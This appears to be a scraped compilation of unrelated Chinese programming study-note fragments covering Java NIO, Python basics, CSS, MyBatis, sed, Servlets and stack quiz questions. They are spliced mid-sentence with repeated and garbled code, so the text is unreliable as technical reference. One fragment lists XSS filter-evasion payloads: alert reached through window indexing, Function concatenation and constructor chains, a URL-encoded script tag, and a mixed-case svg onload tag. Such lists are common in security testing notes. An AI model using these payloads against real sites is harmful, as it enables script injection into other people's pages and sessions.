今天继续来复习NIO三剑客的最后1个:selector ? 接下来改造一下,写一个多人聊天室的原型,要实现的基本功能如下: server端: 1、client连接成功时,server自动发问候语 2、新client上线时,通知其它client 3、有client client-3运行截图: ?
字典和列表中特定的索引 X = [‘a’, ‘b‘, ’c‘, ’d‘, ’e‘] ;del x,删除变量x;del X[0],删除列表第1个值;del x[0:2],删除列表第1-2个值,[2]对应的第3个值不删除 全局变量" global X exec 将字符串作为Python脚本运行 exec ‘print("hello")' lambda 创建短匿名函数 s = lambda y: y ** y; s(3) ' numbers 储存整数 i = 100 Floats 存储十进制数 i = 10.389 lists 存储列表 i = [1, 2, 3, 4, five, sex] dicts 存储键-值映射 45 == '45' %o 八进制数 "%o" % 1000 == '1750' %u 无符号整数 "%u" % -1000 == '-1000' %x 小写十六进制数 "%x" % 1000 == '3e8 ,首字母大写 sys 标准库,和环境有关的功能 sys.argv 属于sys标准库,获取脚本参数 open 用于打开文件,注意打开后的对象和 py2 file 的区别 TextIOWrapper Py3
3、:hover表示,用户鼠标悬停的时候链接的样式,是英文“悬停”的意思。 4、:active表示,用户用鼠标点击这个链接,但是不松手,此刻的样式,是英文“激活”的意思。 purple; color:white; } .nav ul li a:hover{ background-color: orange; } 3 red url(1.jpg) no-repeat 100px 100px fixed; 等价于: 1background-color:red; 2background-image:url(1.jpg); 3background-repeat 3、z-index值没有单位,就是一个整数值。默认的z-index值为0。 4、定位了的元素,永远能够压住没有定位的元素。
一、复习 文件的操作 import codecs with codecs.open("aaa.txt", "w") as f: f.writelines("this\nis\na\ntest\ 两个字典合并 dict1={1:[1,11,111],2:[2,22,222]} dict2={3:[3,33,333],4:[4,44,444]} aaa = dict1.copy() aaa.update list1 = [1, 3, 5, 7, 9] print(random.sample(list1, 3)) 从1-100取出所有的奇数 print(random.randrange(1, 100, ['1', '2', '3', '4'] split 函数 以正则表达式为分隔符,筛选: import re s = "1one2two3three4four" reg = re.compile( " reg = re.compile(r"\d") print(reg.split(s)[3]) 输出: three
复习一,列表: sort() 对列表内的元素进行排序。 不加下标默认删除最后一个) index:下标 返回列表中某个元素的下标 extend:拼接 拼接某个列表到现在的列表 reverse:反序 将列表中的元素反序排列 insert:插入 往列表里面插入某个元素 复习二 x = dict(a = 1, b = 2) y = dict(c = 3, d = 4) x.update(dict(m = 100)) x["n"] = 200 print(x) 复习三,文件操作 实例3: 假如只给r权限: #! py from datetime import datetime, timedelta nowTime = datetime.now() nowTime += timedelta(hours= +3)
mybatis学习笔记之基础复习(3) mybatis是什么? mybatis是一个持久层框架,mybatis是一个不完全的ORM框架。 3.通过SqlSessionFactory创建SQLSession SqlSession是一个面向用户接口(提供操作数据库方法),实现对象时线程不安全的,建议sqlSession应用场合在方法体内
3)如果是private方法、static方法、final方法或者构造器,那么编译器将可以准确地知道应该调用哪个方法,我们将这种调用方式成为静态绑定(static binding)。 int当做Integer叫做自动装箱(autoboxing) list.add(1) 会被编译器编译成 list.add(Integer.valueOf(3)) Integer当做int叫做自动拆箱。 Math.min(length, newLength)); return newArray; } @Test public void newArray() { int[] a = {1,2,3}
但是之后 面试官仍然会出一些 非常复杂的命令,本小节复习,除了基础中常见的命令之外,还有常见的复杂命令。 #表示打印所有行,但删除2-5行,sed后的字符必须以单引号包裹 nl 文件 | sed '2a 测试开发干货' #第2行后新增一行文案 nl 文件 | sed '1,3c 测试开发干货' #第1-3行替换成文案 额外输出包含test的行 nl 文件 | sed '/test/d' #输出所有行,但不包括带test的行 nl 文件 | sed -n '具体命令' # 输出所有行且执行某命令 nl 文件 | sed '3, $d' -e 's/旧/新/g' #输出所有行,删除第3-5行,且替换文案。 参数 文件 -l 显示行数 -w 显示字数 -c 显示字节数 let 声明变量 let a=5 let b=a+2 echo b 输出 7 好了,本节学习的内容够多了,大家放松放松,准备迎接下一节复习吧
符号x尾数x10^exp 的表示法被称为浮点表示法。因为数字的个数是固定的,但是小数点却是浮动的。正指数把小数点向右移动,负指数把小数点向左移动。
背景打算系统的复习一下python3的语法,为后续AI相关工具研究和使用打下基础。先从基本语法开始。知识小树如下。1 语法结构a 语句分隔符换行符号就是python语句分隔符,每个语句独占一样。 ,python相关的;1.电脑2.显卡3.书'''print(s1,"\n",s2,"\n",s3 ,"\n",s4)转义:# 转义符号:# 1)普通符号给与特殊的功能# 2)特殊符号普通化s1="\\ n"print(s1)# 特殊符号普通处理s2='let\'s go'print(s2)# windows路径转义s3="d:\\data"print(s3)格式化输出:name = '李福春'age = 100 - 50c = 5 * 20d = 10 / 2e = 10 % 3print(a,b,c,d,e,sep="\n")a = 2 > 1b = 3 >=3c = 1 < 5d = 1 < r2: print("拿到奖品B")else: print("没拿到奖品B")age = 20hire = ( 20 <= age <=35)print(hire)小结本节复习了
带参数的装饰器 套三层 3.
正则这个东西,说常用也不常用,用到的时候百度一波也够了。早之前对正则还算熟悉,到了后来几乎忘光了。今天重新学一下简单的正则。
然后固定在每周的不同早习/晚习课,复习自己的各科笔记。上大学以后,知识/信息爆增,浩如烟海,手写笔记越来越少,也越来越不现实。于是我便基本放弃记笔记来巩固知识的方式,转而开始写博客。 直到我偶然间了解到 Anki~~(相见恨晚)~~…… Anki 是一款开源免费且跨平台的笔记记录和管理软件: 作为电子笔记本,它可以插入文字、图片、音频、视频等,凡事皆可记录…… 按照艾宾浩斯遗忘曲线给用户安排合理的复习频率 提供多平台同步功能,随时随地记录/复习,充分利用碎片化时间。 提供笔记导入/导出功能,方便用户迁移/备份笔记。 提供自定义复习模板功能,Anki 默认有「填空题」、「问答题」的笔记复习模板,用户也可以自定义更多适合自己的模板。 提供免费共享/获取共享笔记的功能,有很多超级棒的共享笔记可供下载。 3. 笔记+复习 一般「创建牌组」作为一个大类,然后在「牌组」里面「添加」笔记即可。也可以通过「获取牌组」,浏览网上热门的共享笔记,并可以下载到本地进行导入(吹爆!)。
离你的重要纪念日还有多少天important_day=datetime.datetime. strptime('2008-06-18','%Y-%m-%d') important_day>bd3=b-important_dayd3 .dayst=datetime.time(12,11,30)# 3. 离你的重要纪念日还有多少天important_day=datetime.datetime.strptime('2008-06-18','%Y-%m-%d') important_day>bd3=b-important_dayd3 .dayst=datetime.time(12,11,30)# 3.
public Object[][] dp() { Object[][] data = {{"testCase-", 1}, {"testCase-", 2}, {"testCase-", 3} ----------BeforeMethodtestCase-2AfterMethod------------------------------------BeforeMethodtestCase-3AfterMethod AfterClassAfterTestAfterSuite===============================================Default SuiteTotal tests run: 3,
替换空格
/**/ 替换空格
使用其他方式执行alert
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3) +'rt(0)');
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
constructor.constructor("aler"+"t(3) : 'xt';
'te' in alert('in') in 'xt';
'te' instanceof alert('instanceof') instanceof 'xt';
编码
URL编码
%3C %73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%78%73%73%22%29%3B%3C%2F%73%63%72%69%70%74%3E
HTML编码
\x3csVg/<sVg/oNloAd=alert()//>\x3e
">><marquee></marquee>" ></plaintext
三大组件分别是Servlet程序、Filter过滤器、Listener监听器. 3.Servlet是运行在 服务器上的一个Java小程序,它可以接收客户端发送过来的请求,并响应数据给客户端。 //DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd" > <web-app> <display-name 1.ServletContext是一个接口,它表示Servlet上下文对象 2.一个web工程,只有一个ServletContext对象实例 3.ServletContext对象是一个域对象 什么是域对象 表示请求时的服务器ip和端口号 响应的HTTP协议格式 1.响应行 响应的协议和版本号 响应状态码 响应状态描述符 2.响应头 key:value 不同的响应头有其不同含义 响应头和响应体之间有空行隔开 3. ; resp.sendRedirect("http://localhost:8080/responseTwo"); } 重定向特点: 1.浏览器地址栏会发生变化 2.两次请求 3.
(user); //按id列表查询 List<User> users = userMapper.selectBatchIds(Arrays.asList(1, 2, 3) User> users1 = userMapper.selectByMap(map); users1.forEach(System.out::println); } 结果 3、 Service public class UserServiceImpl extends ServiceImpl<UserMapper, User> implements UserService { } 3、 DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-mapper.dtd 目录是持久层映射文件的默认目录,如果是其他目录,需要配置mapper-locations,例如: mybatis-plus.mapper-locations=classpath:xml/*.xml 3、
若已知一个栈的入栈序列是1,2,3,…,n,其输出序列为p1,p2,p3,…,pn,若p1=n,则pi为 A.i B.n=i C.n-i+1 D.不确定 解释:当p1 =n,即n是最先出栈的,根据栈的原理,n必定是最后入栈的(事实上题目已经表明了),那么输入顺序必定是1,2,3,…,n,则出栈的序列是n,…,3,2,1。 (若不要求顺序出栈,则输出序列不确定) ( B )3. 设有4个数据元素a1、a2、a3和a4,对他们分别进行栈操作或队操作。在进栈或进队操作时,按a1、a2、a3、a4次序每次进入一个元素。假设栈或队的初始状态都是空。 供选择的答案: A~D:①a1 ②a2 ③ a3 ④a4 E: ①1 ②2 ③ 3 ④ 0 答:ABCDE=2, 4, 1, 2, 2 7.